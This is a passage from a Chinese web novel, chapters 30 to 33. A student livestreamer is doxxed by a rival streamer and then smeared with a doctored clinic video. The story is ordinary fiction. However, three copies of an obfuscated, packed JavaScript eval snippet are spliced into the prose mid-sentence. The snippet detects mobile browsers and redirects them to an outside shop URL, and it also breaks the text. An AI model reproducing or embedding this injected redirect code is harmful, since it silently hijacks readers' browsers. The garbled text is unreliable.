“呜呜呜,好好磕,消防员和救赎他的女大,她救了他,他在等她长大,这是什么绝世好文啊,有太太产粮吗?好想吃饭,饿饿。” “男俊女靓,简直绝配。白泽不考虑不考虑吗?” “那天记者还问她有没有男朋友呢,她都没回,也不知道有没有啊,如果没有的话,真的可以考虑我们消防员哥哥。” 但也有人持不同意见。 “你们在干嘛?什么都磕只会绷了自己的牙,看白泽的状态就不像是想谈恋爱的样子,要是她真的谈了个男朋友,我都有点担心他能不能扛得住揍。” “我们白泽姐姐明明很温柔的好吧,你看她直播就知道了,她只会温柔地跟你说‘下播了,下次时间不定’。看,多温柔。来自等白泽等得快发疯的人的怨念。” “白泽什么时候直播啊?我还想再学习学习,这已经过了一天了,该直播了吧。” 评论走向已经带偏,大多数都在怨念白泽直播太少,真正磕CP的人反而少了。 安随看着这些评论,心里只有一个想法:“什么乱七八糟的。” 安随果断退出了速音,心情不好,不想直播,再让他们等等吧。 安随又去了微信,想看看特事局的人怎么样了。虽然她对他们的初印象不怎么好,但是他们好歹算是一起经历生死的人,她倒是有白泽,其他人就不一样了,而且她昏迷前看到他们三个人都被蛇妖甩飞,生死不知,也不知道现在情况如何。 安随给风眠发了条信息,大体是问问他们现在如何。信息意料中石沉大海,安随心情变得沉重。 她不再看微信,将手机扔到一旁,不再接收任何信息。 过了会儿,有人开门进来,见到宿舍有人,宋知冉吓了一跳,在看清是安随时,眼眶也跟着湿润了。 “安安,你终于回来了。” 30. 第 30 章 安随才离开几天,却觉得与宋知冉像是许久未见。短短几天里发生了很多事情,安随经历得多,宋知冉在网上看得也多,天天提心吊胆的,有的时候能联系上安随,有的时候又联系不上,特别是得知李家村地震,而安随一直没回来,宋知冉别提有多担心了。 中途赵素兰还给宋知冉打过电话,说安随的电话打不通,问她知道她去哪了不,宋知冉只好撒谎安随去的地方没信号,等有信号了就给她回电话。 安随便给赵素兰打了个电话过去,赵素兰正在给人补衣服,听到安随打电话,连忙接起来:“小随你去哪了?电话怎么打不通?” 安随只说道:“出去散心了,妈你别担心,我没事。” “下次去哪记得和我说一声,免得我找不到人。” “好。” 母子俩又寒暄了会儿便挂断了电话。 过了会儿蒋栗得到消息也赶了回来,一进屋就扑进安随怀里。 “乖乖你终于回来了,我们都担心死了。” 安随被她扑了个满怀,整个人往后仰,差点就没站稳,好在她眼疾手快地扶住床,这才不至于摔下去。 “你矜持点,别那么生猛。” “嘿嘿看见你太激动了嘛。”蒋栗不好意思地挠挠头。 三人几天,又经历了不少事情,安随就重点说了下地震的事。蒋栗特别好奇她救人的那事,一直问道:“安安你力气真的那么大吗?”说完她又觉得不对,要是她真有那么大力气,刚才就不至于被她扑倒了。 “安安都说是间歇性的啦。”宋知冉连忙替安随解围,她可是还记得安随说过她的事谁都不能告诉,自然会替她保守秘密。 “也是哦,这也太神奇了吧,我以前怎么没发现呢?”蒋栗上下打量着安随,想要从她身上找出点不同,却发现她和以前没什么区别,和她们也没什么区别。 安随任凭她打量着,一动不动,实际上心里已经把白泽骂得狗血淋头,叫你逞强,叫你显摆,以后万一有人让她当场表演个单手抗人,她就来个当场晕倒。 社恐安已经能预料到那个尴尬场面了。 事实上不用等以后,三人还没说多会儿,便有人来敲门,安随本来想装作没人在不出声,蒋栗已经去开门了。 门一打开,便有二十多个女生蜂拥而入,把宿舍堵得水泄不通。 “啊啊啊啊安安原来你就是白泽啊!简直太惊喜了!我们以后可以来你们宿舍学习了!” “原来大网红就在我们身边,我们居然不知道,安安你也藏得太好了吧!” “安安你救人的姿势简直太帅了!你做我女朋友好不好?” “安安你有男朋友吗?我哥还单身,你们认识一下好不好?” “安安给我签个名好不好?我要拿回宿舍供起来!” “给我也签个名吧!签两个吧,给我妹妹也签个,她也是你粉丝!” “我也要我也要!” …… 一群人七嘴八舌地说着,像有无数只鸭子在安随耳边叫唤,安随眼见情况不妙,当场表演了个原地晕倒。 宋知冉连忙喊道:“安安晕倒了!大家别挤了!” 众人连忙让出一条路来,宋知冉赶紧招呼蒋栗,两人合力将安随往医院背。 路上,安随睁眼看了下周围的环境,见没人这才出声示意宋知冉把她放下来。 “呼,终于出来了。” 蒋栗睁大眼看她:“安安你没晕啊?” 宋知冉看着一脸单纯的蒋栗,有些无奈道:“不这么做安安怎么出来啊?” “太疯狂了,他们怎么知道安安回来了?”蒋栗没想通。 宋知冉也不知道,安随回来没跟任何人说,就怕遇到这种事,但安随回宿舍没多久,他们就追了过来,明显有人走漏了风声。 三人没想通是谁说的,便暂时把这事抛到脑后。 现在,她们要想想怎么摆脱那群人。 宿舍暂时回不去了,甚至食堂也不敢去,马上就到饭点了,一去目标更明显。 就在三人发愁时,一个陌生电话打了进来。 “安随,你们来我家吧。”是一个陌生的女声。 “你是?”安随一时没听出是谁的声音。 电话那头的人似乎没料到安随没她的电话,沉默了一会儿才道:“孟与。” 安随听到是孟与,都愣了一会儿,但很快反应过来:“好,你家在哪?” “牡丹园6栋701”。 另外两人也听到是孟与给她打电话,都有些惊讶,毕竟两人打招呼的次数一只手都能数过来,虽然在一个宿舍,却没见过几面,上一次见面还是安随住院的时候,宋知冉想着好歹是一个宿舍的,便问孟与去不去医院看安随,没想到她爽快地答应了,倒让宋知冉愣了一下。 蒋栗好奇地问:“你什么时候和孟与那么熟了?” “不知道啊。”安随也有点懵,她这个室友上次来看她就让她够惊讶了,这次直接主动邀请她去她家,就更让人惊掉下巴。 但好歹是一个宿舍的,联络一下感情也是好的,正好趁这次机会熟悉一下。 宋知冉去药店买口罩给三人都戴着,找了条小路往外走,好在三人顺顺利利地出了学校,一路上没被人发现。 三人打了个车往牡丹园的方向走,出租车司机从后视镜里看了三人好几眼,最后有些不确定地问道:“你是白泽吗?” 安随不动声色道:“不是,你认错人了。” “这个声音没错,我之前跟我女儿一起看过你直播,经常听到这个声音,你就是白泽。”司机斩钉截铁道。 见装不下去了,安随只得承认:“对,我是白泽。” “我女儿很喜欢看你直播,自从看了你的直播,她学习起来可用功了,这次月考也进步了十几名,谢谢你啊白泽。” “能帮到她就行。”安随笑了笑,实际上她也不知道说什么了,她本就不善言辞,面对别人的感谢也不会说什么客气话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16741432|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 但她心里始终有个结,她怕别人对她的直播间产生依赖,一旦哪天她不再直播,对于别人来说是毁灭性的打击。 安随迟疑了一下还是开口问了:“您不反对她看我直播吗?” “怎么会反对呢?这么正能量的直播间,要让她多看才对,对她有帮助。” “正能量吗?”安随自己都有点不确定了。虽然她一直强调她是正能量学习主播,可她知道自己的直播是怎么来的,又蕴含了什么样的能量,真的会给别人传播正能量吗? “对啊,我最开始也反对她看直播。觉得影响了她的学习,但是她再三给我推荐说你的直播好看,于是我也来看了,我看到了你的粉丝每天都在催播,每天都在争分夺秒地学习,而我女儿也加入了学习大军,她的进步我看在眼里。” “那你不好奇他们为什么喜欢在我直播间学习吗?” “那重要吗?”司机反问道,“原因并不重要,重要的是你给了一群孩子学习的动力,让他们对学习产生了兴趣,并且有进步,这才是重点。” 一瞬间,安随醍醐灌顶,突然觉得自己一直纠结的点根本不重要了,连带着,胸腔里一直积攒的一股郁气也跟着消散。 出租车到牡丹园小区门口停了下来,三人道了谢便下了车。 小区有门禁,三人进不去,安随又给孟与打了个电话,在和保安沟通一番确定是孟与的同学后,这才放三人进来。 牡丹园是锦城的富人区,寸土寸金,住在这里的人非富即贵。 三人家庭条件最好的就是宋知冉了,但她也只是在一个四线小城市里算条件好,在锦城这样的国际大都市连号都排不上。 但它外表看上去并没有那么奢华,小区不大,楼栋采用围合式排列,中间一个很大的中庭,景观设计精巧,让人看了很舒服。 安随与蒋栗对房子没什么概念,但宋知冉却是了解一些的,小声说道:“这里的房子一平米五个w起步。” “夺少?”蒋栗都惊了,五万她都能在她们县里买十个平方了,没想到这里只能听个响。 安随也惊了一下,但她并没有那么在意,因为知道自己买不起,而且自己也不属于这里,房价再高也和她无关。 “这孟与家里不简单啊。”蒋栗感叹道。 他们虽然是室友,但彼此并不了解,只知道孟与是本地人,家里是做生意的,其他的一无所知。 三人沉默着进了电梯,电梯要密码才能上去,直接就到孟与家门口。 三人按了门铃,很快孟与便来开门,示意三人进去。 孟与住的是两百多平的大平层,视野很好,望出去便是江。家里静悄悄的,听她介绍才知道,这里只有她一个人住,平时会有阿姨上门打扫卫生给她做饭,她每天放了学就回这居住。 四人虽然在一个宿舍,但是很少碰面,这会儿寒暄的话说完气氛便有点尴尬了。 还是安随打破了平静。 “你怎么知道我被人围堵了?” 31. 第 31 章 孟与将手机递到安随面前。 安随一看,这才发现有人正在她们宿舍门口直播。 “家人们,我现在正在白泽的宿舍门口,给大家简单介绍一下啊,白泽真名叫安随,是C大计算机系大一学生,今年19岁,老家是宁市的。” 安随见对方将自己的信息这么公之于众,已经感觉到自己脚趾头抠地的尴尬了。此刻的她仿佛有数万只蚂蚁在身上爬来爬去,恨不得在地方打个滚,将一身的尴尬尽数扫去。 蒋栗气得大骂:“这人谁啊?凭什么把安安的信息全都曝光了?安安你去告她,泄露他人隐私,一告一个准。” “你怎么刷到她的?”安随问孟与。 孟与又点开另外一条给她看。 竟是她发的在住院的那条速音,里面点赞最高的一条留言便是:“我是白泽的同学,关注我,带你了解白泽的更多信息。” 点进她的主页,显示她正在直播,个人资料也写的是C大学生。这人网名叫夏日懒洋洋,头像是个动漫头像,看不出是谁,摄像头并没有对着她,她的声音是经过变声的,也听不出来是谁。 几人一时犯难了,怎么才能把这人揪出来呢? 主要是现在他们不敢回去,回去就是自投罗网,而这群人堵在他们宿舍门口,严重影响了其他同学的出行。这会儿正是饭点,陆陆续续有人出来,见走廊被堵得水泄不通,有脾气暴躁的同学便开始吼了:“你们挤在这干嘛?还让不让人过了?” 但这群人也没一个善茬,便有人回怼道:“这路又不是你修的,还不能让人站了?” “你们那叫站吗?谁站站路中间啊?最基本的礼貌都没有。” “我想怎么站怎么站,你管得着吗?” …… 两拨人相互推搡,不知谁先开始动手扯头发,场面一度非常混乱,夹杂着尖锐的尖叫声。 几人面面相觑,不知道事情怎么发展到这个地步了。 而直播的人却像站在人群外一般,直播着这场闹剧。 “家人们,你们看,白泽的同学都好疯狂啊,在宿舍楼就打起来了,不过我们的白泽同学还没出现,不知道她会不会来阻止呢?” 蒋栗一听,气得恨不得穿过屏幕给那人两巴掌。 “这人说话阴阳怪气的,简直太欠揍了!” 宋知冉拉住了安随胳膊:“安安别回去,这人在激你。” 安随又何尝不知道这人是在激她?可这场闹剧因她而起,她觉得自己该出面阻止,否则闹大了对她们的影响都不好。 但她不是傻子,不会去自投罗网。 安随开启了直播。 这次她没有将摄像头翻转,而是对准了她的脸。 这是她第一次在直播间露脸,且很随性,没有打扮。她也不会打扮。 只见她穿着浅色上衣,长发扎起马尾束在脑后,一张鹅蛋脸并不会显得柔弱,而是英气十足。她的眼神锐利,凤眼微微上挑,愣是让人看出了点睥睨众生的感觉。 “我靠,御,御姐啊!” “什么御姐,明明是女王。女王大人,请让我拜倒在你的石榴裙下吧!” “宝宝,不是,姐姐你怎么突然直播了?” “女王,你回学校了啊?我刚刚看到有人在你宿舍门口直播,不会是骗子吧?她真找到你宿舍了?” “姐姐注意安全啊,现在你的信息都被曝光了,走到哪肯定都有很多人围着。虽然我也想见到姐姐,但是我更不想打扰到姐姐的生活。” “快去揺人,白泽直播了!” …… 于是,各大平台都能看到网友发的白泽开直播的留言,不少在外流浪的散粉一下子就像找到了主心骨,纷纷赶了过来。而先前蹲守在夏日懒洋洋直播间等待一手爆料的网友立马就撤了回去。 开玩笑,比起知道安随的个人信息,他们更想呆在她直播间里。 C大女生宿舍二楼。 还在相互扯头花的女生群里,不知道谁喊了一声“别打了!白泽直播了!”,于是,先前还在扯着对方头发的众人,齐齐放开了手,整理了下自己凌乱的头发,又齐齐地掏出了手机。那动作整齐划一,好像经过训练一般。 安随见在线观看人数上了20万,这才清了清嗓子,和直播间网友打招呼:“大家晚上好啊。相信大家也知道了,夏日懒洋洋在直播间里泄露我的个人信息,已经对我造成了严重的困扰,我已经收集证据,会提交给平台处理。另外,想要成为我的粉丝,只有一个条件,那就是不能关注夏日懒洋洋,谁关注了她,以后请别在我的直播间里了,我会让管理定时帮我清理人,凡是关注了夏日懒洋洋的,一律永久拉黑,我说到做到。” 目前,安随的管理员有三个,一个是溜溜球,一个是小太阳,还有一个就是举个栗子,第一个是安随最早的管理员,特别积极,另外两个就是安随的两个室友了,平常安随直播的时候也会帮忙打理直播间。一听要拉黑关注夏日懒洋洋的人,蒋栗兴奋地搓手手:“终于有活干了。” “对了。”安随顿了下,补充道:“现在在看她直播的人,也请别回来了,我这座小庙,容不下你这蹲大佛。” 还在直播的夏日懒洋洋突然发现打架的人不打了,自己的在线观看人数从一万降到了1000,听到白泽开启直播,心里更是恨得牙痒痒,但她又想去蹭白泽的直播间,便悄悄地钻了进去,本来想着看白泽直播的人多,平时刷礼物的也多,白泽应该看不到她,哪里知道她刚进来便听到白泽喊她的名字。 “夏日懒洋洋,你不想说点什么吗?” 被点到名的夏日懒洋洋心虚地不敢说话,也不敢离开,不然就太明显了。 “我数到三。” “一。” “二。” 系统提示:“您已被主播踢出直播间。” 夏日懒洋洋看到这条信息都愣了,怎么没三?不是数到三吗? 强迫症的夏日懒洋洋还想回去,看她到底有没有数三,结果却看到新的系统提示。 系统提示:“您已被主播关入小黑屋,无法进入。” 这是要逼死强迫症啊! 夏日懒洋洋开始抓狂,恨不得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755175|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在就开个小号进去,但她只有一个手机号,想注册也注册不了,一时在那抓耳挠腮。她看了看周围认真刷手机的女生,灵机一动,连忙凑到一个女生旁边问她:“刚才白泽数到三了吗?” 那女生像躲瘟疫一般躲得老远,脸上是嫌恶的表情,恨不得写上“莫挨老子”四个大字。 她不信邪,又去找其他人,却得到了相同的待遇。 她不由有些沮丧,画风怎么突然变了呢?明明刚才都跟她一样,很想看到白泽啊。 有女生啐了一口:“你是我们学校的吗?我怎么没见过你?” 夏日懒洋洋有些心虚,但还是硬着头皮道:“当然是啊,我是安随的同学。” “同班?” “不是,一个年级。” 其他人闻言,像看傻逼一样看她。 “你在逗我们?我们怎么不知道你和我们一个年级?” 夏日懒洋洋闻言傻眼了,她哪里知道那么巧,一个年级的女生都在一层楼? 最后,夏日懒洋洋被赶了出去,来的时候她有多信誓旦旦,走的时候就有多狼狈。 夏日懒洋洋被赶出了学校,她本是被人带进学校的,对方说只要她曝光了安随的隐私,便能给她一万块。她想着她本就是个小主播,平时没什么粉丝看,正好有这个机会能蹭蹭流量,而且她曝光的信息也不是什么好保密的,随便打听都能打听到一些,何乐而不为呢? 于是欣然同意,她混进学校,径直朝宿舍楼走去,中间还忽悠了几个没什么主见的女生跟着她一起去造势,还去安随的宿舍逛了一圈,眼见着她的粉丝蹭蹭上涨,观看她直播的人越来越多,她开心得都快溢出屏幕了。哪里知道她被安随摆了一道,差点摔断了腿。 但是她的任务却是完成了,该找雇主要钱了。 夏洋到了约定的咖啡馆,对方说会在咖啡馆等她的好消息。对方是个漂亮的女生,却杵着一根拐杖,似乎腿脚不便。她进去的时候对方还坐在那里,咖啡没怎么动过,早就凉透了。此刻的她也在看安随直播,但她神情阴沉,一动不动地等着屏幕看。 夏洋走过去坐到她对面,朝她伸手:“我的任务完成了,你该给尾款了。”夏洋不傻,她怕对方变卦,因此要了五千的订金,反正她不亏,就算对方跑路不给尾款,她也是赚的。 话音刚落,她便感觉有什么液体沿着自己的额头流了下来。她一抹,却抹了一手的咖啡。 夏洋抬头怒视对方:“你这是做什么?想变卦?” 却见对方抬眼阴恻恻地看着她,目光像毒蛇一般淬着毒。 “事情办砸了,还想要钱?” “我照你说的做了,怎么办砸了?” “我说过,我要你曝光她的信息,让她身败名裂,可你并没有做到。” 夏洋有些心虚。 她确实答应曝光安随的信息,但对方说的有些信息她并没有公开,她知道一旦她说出来,必会让安随身败名裂,她和安随无冤无仇,就算自己再缺钱也做不到那样。 是的,她手里还有安随的料,未婚先孕还打过胎的料。 32. 第 32 章 “尾款我不要了,我把视频删了,你再找其他人吧。”夏洋说完,便当着对方的面把视频删了。 “既然接了就要把任务完成,不然就算违约。” “那我钱不要了,我退给你吧。”夏洋是真后悔答应她了,也后悔招惹了安随,安随明显不是那么好拿捏的人,她也算是踢到铁板了。 “违约的后果只有一个,那就是……”那人说完,一把捏住夏洋的脖子,将她整个人从椅子上提起来,提到了自己这边的位置。 “呃——”被扼住喉咙的夏洋感觉自己呼吸也变得困难,但死死地瞪大眼睛,对方那张扭曲的脸也映在自己眼里,她不停地拍打着对方的手,却发现那双手犹如钳子一般死死地钳住她。 她到底是谁?为什么敢在公众场合行凶? 不过很快她就获得了新鲜空气,她大口大口地喘着粗气,不停地咳嗽。她感觉到一只手温柔地抚摸着她,轻轻地拍打着后背,让她感觉后背一阵发凉。耳边传来对方温柔却又淬着毒的声音:“乖。” 有服务员过来询问是什么情况,对方用温柔的声音说着:“我们在玩游戏呢,对吧,洋洋?” 她侧过头问夏洋,眼神温柔,似在等她的回答。 夏洋被她的那双眼睛震住,鬼使神差地点了点头。 服务员这才离去。 “这才乖,知道要做什么了吗?”女生再次把视频发给了她,并且轻轻地拍打着她的肩膀,“不乖的下场只有一个,我想你并不想再体会第二次。” 夏洋是真怕了她了。她最近确实缺钱,她打工的地方几个月没发工资了,平时直播也没流量,几乎挣不到钱。母亲还一直打电话让她给弟弟寄生活费,她自身都难保了,哪里还管得了他,于是拒绝了,结果被母亲劈头盖脸地一阵骂,骂她不孝,骂她还不如死在外面,骂她当初就不该出生。是啊,如果可以,她也不想出生在这个世上。 因为几个月没交房租,她被房东催得跟孙子似的,低声下气地说了好多好话,房东才答应给她再延迟一个月,如果一个月她再不能交,房东就会报警。 也就在这个时候,她看到了对方贴在她家门口的小广告。她也没多想,看到1万酬金立马就高兴地找不到北了,给对方打了电话过去。 夏洋现在是无比后悔,恨不得跺了当初打电话的那只手。 但对方明显不是善茬,分分钟能把她弄死的那种,如果她不曝光安随的视频,那么她的下场就会很凄惨。 夏洋心一横,心里默念了几声对不起,便将视频发到了速音上。 她取了个很醒目的标题。 “震惊,网红白泽竟然未婚先孕,被拍到去医院打胎!” 视频一出,果然就引起了不少的关注。特别是现在安随还在直播,那边就发出了锤她的视频。本来她都不知道这个事,是有粉丝在评论区里留言,安随这才去准备去对方的主页逛逛,才想起自己已经把夏日懒洋洋拉黑了。 安随拿过宋知冉的手机,点开了夏日懒洋洋的主页。 视频不长,只有短短的一分钟,从进医院到进产科,顶着的都是安随的脸。 另外三人也有些懵了,纷纷看向安随,安随自己也被那张脸震惊到了,那确实是她的脸。 宋知冉问道:“这个应该是AI换脸吧?现在好像挺多这种视频。” 普通AI视频其实很好辨别,但这个视频看着太真实了,不知道对方是怎么做到的。 “这种伎俩也太弱智了吧!这人怎么想的,想红想疯了?”蒋栗气得不行,但她也说不出个什么大道理,反正就是很气。 安随倒显得冷静多了,身正不怕影子斜。她没做过的自然不会承认。 安随很快回了自己直播间,只短短的三个字:“不是我。” 安随将视频一并提交给速音,举报夏日懒洋洋侵犯了她的个人隐私,诽谤损害个人名誉等等,希望平台从重处理。 “呜呜呜宝宝我就知道那不是你!” “这个人怎么跟狗一样,就逮着你咬!这视频一眼假,大家不要上当了,这种拙劣的伎俩也用,感觉对方智商不高的样子。” “笑死,2502年了,还有人用这种视频,不知道现在很流行AI吗?生怕别人不知道你用了AI似的。” “用了AI就别出来晃荡了吧,锤人就拿出点实际点的东西。” “不是AI。” “???” “有大佬分析过了,这个视频没有经过剪辑拼接,也没有换脸,换句话说,这个视频是真实的。” “……所以,你的意思是,视频里的人就是白泽?” “我没这么说,我只是在说视频的真实性。” 当然一个人的解析并没有权威性,但当无数技术大佬都站出来证实这个视频的真实性后,舆论开始发酵了。 “不会吧,难道白泽真的未婚先孕了?” “她不是一直立的学霸人设吗?怎么会做这种事?” “有C大的出来现身说法吗?你们在学校看到过白泽的男朋友没有?” “本人C大学生,和白泽一个年级,表示从没见过她,她在学校的存在感挺低的,不知道有没有男朋友。” “你们不觉得这就是一场炒作吗?C大学霸多了去了,她真的不出名,但为什么她能在网上立学霸人设,还能爆火全网?你们真的相信没有营销没有炒作吗?” “多半都是有资本在后面运行,不然她怎么可能火得那么快。” 此时的安随四人正在吃晚饭,安随开着直播,将手机放在一边便去吃饭。孟与请的阿姨手艺不错,做的份量也足,吃得四人肚子圆滚滚的。四人瘫在沙发上休息,又拿起手机刷,这一刷才发现短短半个小时的时间,舆论已经发生天翻地覆的变化。 蒋栗惊得从沙发上跳起来:“我去,怎么全网都在骂安安啊?” 安随:“?” 明明只是一个AI换脸视频,他们并没有很在意,也不想多给对方眼神,网友们明明也不在意,为什么只不过半个小时的时间,她就人人喊打了? 安随的直播间里,无数没有粉丝灯牌的号涌了进来。 “打卡。” “打卡。” …… 无数打卡刷满了屏幕,偶尔夹杂着几句“我相信白泽”的句子,但很快被如潮水般涌来的“打卡”淹没了。 “主播终于出现了,怎么还有脸出现啊?不是应该羞愧地关掉直播吗?你怎么对得起日夜守着等待你直播的粉丝?” “主播不解释解释吗?你真的去医院打胎了吗?是什么时候的事情?” “你真的让我好失望,你怎么会是这种人啊?你不应该是努力学习上进不闻窗外事的人吗?” “你们太激动了吧,主播从来没立过什么人设,她是什么样的人就是什么样的人,根本不用立人设。就算她未婚先孕又怎么了?她也是白泽啊。” “笑死,看了主播近一个月的直播,还不了解主播是什么人吗?一群忘恩负义的东西,那么容易就被煽动了,以后白泽不直播了我看你们怎么办。” “宝宝说句话啊,那人真的是你吗?没关系即便那是你我也一直是你的粉丝。” 眼见着评论区越来越激动,安随连忙说道:“那人不是我,至于那个视频,我会查清楚。” “查什么?怎么查?大佬都锤了,你还要挣扎吗?” “死不承认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765406|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和知错就改,我觉得你选后者会比较好,以前也有之前不承认后面被捶死的情况。” “白泽你糊涂啊,怎么能做这种傻事?我女儿可是一直看你直播,成绩突飞猛进,她还跟我说她粉了一个学霸,跟着你整个人都变上进了,以后我不会再让她看你直播了,免得被带歪了。” 安随见和他们说不清楚,也懒得和他们说。她从来没立过人设,这群人不愿意相信她那就罢了,多说无益,现在她的任务便是要揪出幕后主使,她不觉得以夏日懒洋洋的智商能做那么大一个局,等着她跳进去。她和对方无冤无仇,对方根本没有必要把她往死里整。而且这个视频到底是怎么回事?为什么会那么多人都看不出是假的?她自己有没有做过她肯定是最清楚的,好在她的几个室友都相信她,这让她得到了不少安慰。 安随不再看直播间,很快下了线。结果在别人看来却是畏罪潜逃,因此谴责声更大了,甚至有人跑到官媒底下留言,让他们彻查白泽是否有炒作,是否名不副实。 而安随四人又认真地看了视频,他们一帧一帧地看,生怕漏了哪个细节,一遍看后又继续看,无数次后,他们最终得出一个沉重的结论:视频确实没有经过处理。 一时没有一个人说话,过了会儿蒋栗有些犹豫地问安随:“安安,是不是这个人就是你,只不过你忘了啊,你之前出车祸不是忘了一些事吗?” 安随摇了摇头,她出车祸只是忘了前两天的事,那个时候白泽占据了她的身体,对方更没理由去产科。 宋知冉突然道:“谁说去产科一定是打胎啊,我们都被对方牵着鼻子走了。安安你好好想想,你有没有其他事情去过产科,或者去那里看过谁啊?” 安随还是摇头。她没有因为任何事情去过产科,她也没有去看过任何人。 孟与一直没有说话,过了会儿打了个电话,随后说道:“我让人帮忙看一下。” 三人点了点头,没再说什么。她们都是计算机专业的大一学生,只学了比较基础的知识,对视频的分析或许没有那么透彻,让个更专业的人来看更好。 过了会儿,有人按响了门铃,孟与去开了门,身后跟着一个戴着眼镜的白衣男人走了进来。 “你怎么了?哪里不舒服?”白衣男人问。 三人面面相觑,不是找计算机大佬来看吗? 孟与这才解释道:“这是我的家庭医生,安随不是之前车祸忘了一些事情吗?我让他帮忙看看她记忆恢复了没有。” 安随:“……谢谢,我很好。” 但孟与已经邀请别人到家里来了,安随只能让对方看,男人给她诊断了一会儿,又问了一些问题,安随都能准确如流地答出来。 男人最后得出结论,安随一切正常,没有任何问题。 所以,问题只能出现在视频本身了。 实际上她们已经基本确定视频是真实的了,因为但凡是一个叫的出名的大佬都被艾特让鉴定视频的真假,却被对方骂找了个一眼真的视频来浪费他时间。 她们不相信夏日懒洋洋能买通那么多的大佬,只为了捶死这个视频里的人是白泽。 实际上没有一个大佬关心视频里的人是谁,他们只是站在技术的角度分析视频的真假。 他们和白泽无冤无仇,更没有必要砸自己的饭碗只为把白泽往死里整。 所她们是偏向认为大佬们是没有被买通的。 这也侧面证明,视频是真的。 一时之间,事情又陷入了僵局。 安随没有想到,有一天她会想办法证明自己没有做过的事。 她在心里呼唤白泽。白泽睡得正香,突然被喊醒还有点起床气。 “又怎么了?” 33. 第 33 章 “快别睡了!我快被唾沫星子淹死了!你帮我看看这个视频到底是怎么回事?这上面的人真的是我吗?你不会背着我去干什么了吧?”安随点开视频,又重新播放了一遍。 白泽起初还有些漫不经心,到了后面神情也变得凝重:“这是障眼术。” “什么障眼术?” “一种妖术,能迷惑人心,让人看到它想让人看到的。” “能破解吗?”这才是安随关心的重点。 “你们肯定不行,不过有我在,没有什么不行的。”白泽说完,便操控安随的身体,手指轻轻在屏幕上敲了两下,众人只觉得脑子一下子清明了,再看屏幕,站在门口的分明是个不认识的女人,哪里还是安随? “怎,怎么回事?视频里的女人是谁?”蒋栗问。 “不认识。”宋知冉摇了摇头,她刚才注意到安随的动作,猜想是安随做了什么。 安随此刻也装作惊讶地看着屏幕里的女人,实际上心里已经在问白泽了。 安随:“你怎么直接破解了,直接来个大变脸不是更让人怀疑吗?” 白泽:“那不是我该考虑的事,你只是问我能不能破解,我还好心地替你破解了,省了你多问一句。” 安随:“……我谢谢你啊。” 此时的白泽经过网络的熏陶,已经能听出这句话的言外之意。 白泽:“你好像不开心?” 安随干笑了两声:“怎么会?” 而同样注意到视频的人变了的还有众多网友。 经过一晚上的发酵,关注到这个事情的网友越来越多,视频的点赞数也上了百万,而再次刷视频的网友却突然发现,视频里的人变了。 视频还是那条视频,发布的时间一样,也没有经过编辑,内容也一模一样,唯一不一样的,只有那张脸。 “是我眼花了吗?我怎么感觉人变了?” “这个人不是白泽吧,为什么刚才都觉得是白泽?” “刚才是白泽吗?我怎么不记得?这个主播和白泽是有多大仇啊,非要置她于死地。” “现在造谣的成本真低,造谣一张嘴,辟谣跑断腿,白泽辛苦了。” 一时间,网络风向突然逆转,大家仿佛集体失忆一般,忘了刚才在网上讨伐白泽的事。 安随问:“他们怎么了?” 白泽:“脑子不清醒,使了点小手段让他们清醒了下而已。” 安随:“……谢谢你。” “要真谢我的话,下次别在我睡觉的时候叫我行吗?没睡饱真的很恼火。” 安随不好意思地笑了笑:“这不是遇事从急吗?我也是遇到解决不了的事才找你。” “你这样不行啊,如果我没在呢?你要怎么解决?” 安随沉默。 是的,其实她早就发现了,有时候遇到解决不了的事,她会先求助白泽,可如果白泽不在呢?她该怎么解决? 这一刻,她觉得自己弱小得犹如蝼蚁,随随便便一根稻草都能压死她。 特别是如今妖怪混入人间,神不知鬼不觉,除了特事局的人,其他人恐怕还不知道妖怪的存在。而特事局的人也只是知道那是能量体,并不知道他们来自妖界。 安随近一个月的时间也遇到过妖怪好几次的袭击,好在都化险为夷,特别是最近两次,如果不是白泽的帮助,她也不能全身而退。 想通了这其中的关窍,安随心里已经大概知道自己该怎么做了。 安随:“我知道怎么做了。” 白泽:“你知道什么了?” 安随:“联系特事局,把妖怪入侵人界的事和他们说,请他们解决妖怪。” 白泽:“你说的特事局就是被蛇妖一尾巴扇晕的那三个人吗?” 安随:“……他们毕竟是凡人之躯,自然不能和你比。” 白泽:“但那蛇妖,却是妖界中等的妖怪,这个等级的妖怪还有很多,如果他们连蛇妖都打不过,我不觉得他们能力有多强。” 如果真是这样,岂不是人界很危险? 